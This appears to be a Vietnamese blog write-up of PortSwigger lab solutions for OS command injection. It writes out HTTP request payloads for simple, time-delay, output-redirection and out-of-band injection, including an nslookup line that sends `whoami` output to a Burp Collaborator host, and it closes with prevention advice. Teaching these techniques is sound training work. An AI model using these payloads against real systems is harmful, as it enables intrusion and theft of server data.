[PortSwigger Lab] - OS Command Injection
Solution of OS Command Injection on PortSwigger Lab
[PortSwigger Lab] - OS Command Injection
Introduction
OS Command Injection (còn gọi là Shell Injection) là một lỗ hổng bảo mật cho phép kẻ tấn công chèn và thực thi các lệnh hệ điều hành (như Linux hoặc Windows) trên máy chủ mà ứng dụng đang chạy.
Solve OS Command Injection Lab
Lab: OS command injection, simple case
Gửi request với storedId có chứa injection
1
2
3
4
POST /product/stock HTTP/2
Host: 0a9a004a03f80ca4810489f000550085.web-security-academy.net
...
productId=20&storeId=1|whoami
- Dùng pipe
|
để truyền output (stdout) của lệnh bên trái sang làm input (stdin) của lệnh bên phải. - Trên thực tế,
whoami
không nhận input từ stdin – nó chỉ in ra username rồi kết thúc.
Lab: Blind OS command injection with time delays
- Submit 1 feadback bất kì, gửi request đến Repeater
Gửi lại với các request sau:
- Dùng toán từ
OR (||)
để thực hiện lệnh khác sau khi lệnh gửi email lỗi1 2 3 4
POST /feedback/submit HTTP/2 Host: 0af200430494500780c6bcfb0081002f.web-security-academy.net ... csrf=Idkvt9a5GZZDZDTsMAgG4PotPi2BT0N0&name=a&email=a||sleep+10||&subject=a&message=a
- Sử dụng
;
để tách lệnh và#
để command lệnh đằng sau1 2 3 4
POST /feedback/submit HTTP/2 Host: 0af200430494500780c6bcfb0081002f.web-security-academy.net ... csrf=Idkvt9a5GZZDZDTsMAgG4PotPi2BT0N0&name=a&email=a%40gmail.com+;+sleep+10+#&subject=a&message=a
- Sử dụng
\n
được mã hóa thành%0a
để xuống dòng và#
để command lệnh đằng sau1 2 3 4
POST /feedback/submit HTTP/2 Host: 0af200430494500780c6bcfb0081002f.web-security-academy.net ... csrf=Idkvt9a5GZZDZDTsMAgG4PotPi2BT0N0&name=a&email=a%40gmail.com+;+sleep+10+#&subject=a&message=a
Blind OS command injection with output redirection
Ý tưởng: Submit feedback đi kèm việc tạo ra file chứa nội dung cần lấy vào /var/www/images/
rồi lấy nó giống như lấy file ảnh
Checking OS command can be excuted
- Request:
1 2 3 4
POST /feedback/submit HTTP/2 Host: 0a7700ba034387a282e79c1a004200a4.web-security-academy.net ... csrf=0p6kVqRROiiK4hK8IgaUtSF7uxrocNMp&name=a&email=a%40gmail.com+;+sleep+10+#&subject=a&message=a
- Nếu nó thực sự hoạt động sẽ response chậm 10s
Exploit
- Request:
1 2 3 4
POST /feedback/submit HTTP/2 Host: 0a7700ba034387a282e79c1a004200a4.web-security-academy.net ... csrf=0p6kVqRROiiK4hK8IgaUtSF7uxrocNMp&name=a&email=a%40gmail.com+;+whoami>/var/www/images/whoami.txt+#&subject=a&message=a
- Đọc file được tạo the đường dẫn
1
https://0a7700ba034387a282e79c1a004200a4.web-security-academy.net/image?filename=whoami.txt
Lab: Blind OS command injection with out-of-band interaction
Checking OS command can be excuted
- Request:
1 2 3 4
POST /feedback/submit HTTP/2 Host: 0a7700ba034387a282e79c1a004200a4.web-security-academy.net ... csrf=0p6kVqRROiiK4hK8IgaUtSF7uxrocNMp&name=a&email=a%40gmail.com+;+sleep+10+#&subject=a&message=a
- Nếu nó thực sự hoạt động sẽ response chậm 10s
- ở đây nó đã chặn lệnh sleep 10
Ý tưởng: sử dụng nslookup ra 1 server bên ngoài để kiếm tra OS command có hoạt động hay không
Exploit
- Sử dụng Burp Colloborator để làm server nhận request
- Request:
1 2 3 4
POST /feedback/submit HTTP/2 Host: 0a7700ba034387a282e79c1a004200a4.web-security-academy.net ... csrf=shDKgLg9f2ImcfCVEmCOxKGfnhy5KLca&name=a&email=a%40gmail.com+;+nslookup+0jk9byyvrh6otbzhihvxlok9y04rsig7.oastify.com+#&subject=a&message=a
- Poll now để lấy request về và xác nhận
Blind OS command injection with out-of-band data exfiltration
Tương tự như lab trên nhưng ta cần lấy nội dung của lệnh whoami
Payload:
1
2
3
4
POST /feedback/submit HTTP/2
Host: 0a7700ba034387a282e79c1a004200a4.web-security-academy.net
...
csrf=shDKgLg9f2ImcfCVEmCOxKGfnhy5KLca&name=a&email=a%40gmail.com+;+nslookup+`whoami`.0jk9byyvrh6otbzhihvxlok9y04rsig7.oastify.com+#&subject=a&message=a
Hoặc
1
2
3
4
POST /feedback/submit HTTP/2
Host: 0a7700ba034387a282e79c1a004200a4.web-security-academy.net
...
csrf=shDKgLg9f2ImcfCVEmCOxKGfnhy5KLca&name=a&email=a%40gmail.com+;+nslookup+$(whoami).0jk9byyvrh6otbzhihvxlok9y04rsig7.oastify.com+#&subject=a&message=a
- Trên các hệ thống dựa trên UNIX, bạn cũng có thể sử dụng BackTicks(
`...`
) hoặc ký tự đồng đô la$()
để thực hiện thực thi nội tuyến của một lệnh được tiêm trong lệnh gốc
Prevent
- Cách tốt nhất: Không gọi lệnh hệ điều hành
- Nếu bắt buộc phải gọi shell
- Dùng danh sách trắng (whitelist)
- Chỉ cho phép số nếu cần
- Chỉ cho phép ký tự chữ và số (alphanumeric)
- Không nên làm: “escape” ký tự đặc biệt, đừng cố gắng “lọc” hoặc “thoát” các ký tự như
;
,|
,&
trong input người dùng. Vì sao?- Hacker biết rất nhiều cách mã hóa để vượt qua
- Escape không thể bảo vệ 100%
- Rất dễ sót lọt những trường hợp đặc biệt
Goodluck! 🍀🍀🍀
This post is licensed under CC BY 4.0 by the author.